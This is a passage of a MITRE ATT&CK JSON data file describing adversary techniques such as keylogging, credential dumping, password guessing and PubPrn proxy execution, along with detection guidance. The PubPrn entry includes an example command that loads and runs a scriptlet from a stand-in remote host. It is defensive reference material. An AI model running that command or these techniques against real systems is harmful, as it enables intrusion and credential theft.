Content"],"type":"attack-pattern","id":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","created":"2020-10-02T16:39:33.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1592","external_id":"T1592"},{"source_name":"ATT ScanBox","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"},{"source_name":"TrellixQakbot","description":"Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.","url":"https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca","type":"attack-pattern","created":"2020-10-02T16:58:58.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.003","url":"https://attack.mitre.org/techniques/T1596/003"},{"source_name":"SSLShopper Lookup","url":"https://www.sslshopper.com/ssl-checker.html","description":"SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."},{"source_name":"Medium SSL Cert","url":"https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2","description":"Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020."}],"modified":"2021-04-15T03:48:37.628Z","name":"Digital Certificates","description":"Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-01T14:01:12.167Z","name":"Keylogging","description":"Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["TruKno"],"x_mitre_deprecated":false,"x_mitre_detection":"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Driver: Driver Load","Process: OS API Execution","Windows Registry: Windows Registry Key Modification"],"type":"attack-pattern","id":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","created":"2020-02-11T18:58:11.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1056/001","external_id":"T1056.001"},{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Cisco Blog Legacy Device Attacks","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"},{"source_name":"Adventures of a Keystroke","description":"Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.","url":"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-15T23:42:39.831Z","name":"File/Path Exclusions","description":"Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Creation"],"type":"attack-pattern","id":"attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9","created":"2024-03-29T16:59:10.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1564/012","external_id":"T1564.012"},{"source_name":"Microsoft File Folder Exclusions","description":"Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-14T17:54:22.970Z","name":"Linux and Mac File and Directory Permissions Modification","description":"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Linux"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","File: File Metadata","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","created":"2020-02-04T19:24:27.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1222/002","external_id":"T1222.002"},{"source_name":"Hybrid Analysis Icacls1 June 2018","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"},{"source_name":"Hybrid Analysis Icacls2 May 2018","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Password Guessing","description":"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Mohamed Kmal"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Network","Office Suite","Identity Provider"],"x_mitre_version":"1.6","x_mitre_data_sources":["User Account: User Account Authentication","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","created":"2020-02-11T18:38:22.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1110/001","external_id":"T1110.001"},{"source_name":"Trend Micro Emotet 2020","description":"Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.","url":"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"},{"source_name":"Cylance Cleaver","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"},{"source_name":"US-CERT TA18-068A 2018","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Atul Nair, Qualys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","created":"2020-02-03T16:49:57.788Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1216.001","url":"https://attack.mitre.org/techniques/T1216/001"},{"source_name":"pubprn","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn","description":"Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021."},{"source_name":"Enigma0x3 PubPrn Bypass","url":"https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/","description":"Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).","modified":"2022-04-18T14:55:35.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PubPrn","x_mitre_detection":"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Script: Script Execution"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application Control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f","type":"attack-pattern","created":"2020-10-02T17:05:43.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1597.002","url":"https://attack.mitre.org/techniques/T1597/002"},{"source_name":"ZDNET Selling Data","url":"https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/","description":"Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:44:43.900Z","name":"Purchase Technical Data","description":"Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:12:43.034Z","name":"OS Credential Dumping","description":"Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Vincent Le Toux","Ed Williams, Trustwave, SpiderLabs","Tim (Wadhwa-)Brown","Yves Yonan"],"x_mitre_deprecated":false,"x_mitre_detection":"### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//maps`, where the `` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"2.2","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Process: Process Creation","Network Traffic: Network Traffic Flow","File: File Creation","Windows Registry: Windows Registry Key Access","Process: OS API Execution","File: File Access","Process: Process Access","Command: Command Execution","Active Directory: Active Directory Object Access"],"type":"attack-pattern","id":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","created":"2017-05-31T21:30:19.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003","external_id":"T1003"},{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"},{"source_name":"AdSecurity DCSync Sept 2015","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","url":"https://adsecurity.org/?p=1729"},{"source_name":"Microsoft DRSR Dec 2017","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc228086.aspx"},{"source_name":"Microsoft NRPC Dec 2017","description":"Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.","url":"https://msdn.microsoft.com/library/cc237008.aspx"},{"source_name":"Microsoft GetNCCChanges","description":"Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/dd207691.aspx"},{"source_name":"Microsoft SAMR","description":"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc245496.aspx"},{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"},{"source_name":"Samba DRSUAPI","description":"SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.","url":"https://wiki.samba.org/index.php/DRSUAPI"},{"source_name":"Harmj0y DCSync Sept 2015","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.","url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"},{"source_name":"Brining MimiKatz to Unix","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-12T21:17:14.868Z","name":"Shared Modules","description":"Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Stefan Kanthak"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"2.2","x_mitre_data_sources":["Process: OS API Execution","Module: Module Load"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","created":"2017-05-31T21:31:40.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1129","external_id":"T1129"},{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"},{"source_name":"Apple Dev Dynamic Libraries","description":"Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.","url":"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"},{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"},{"source_name":"Microsoft DLL","description":"Microsoft. (2023, April 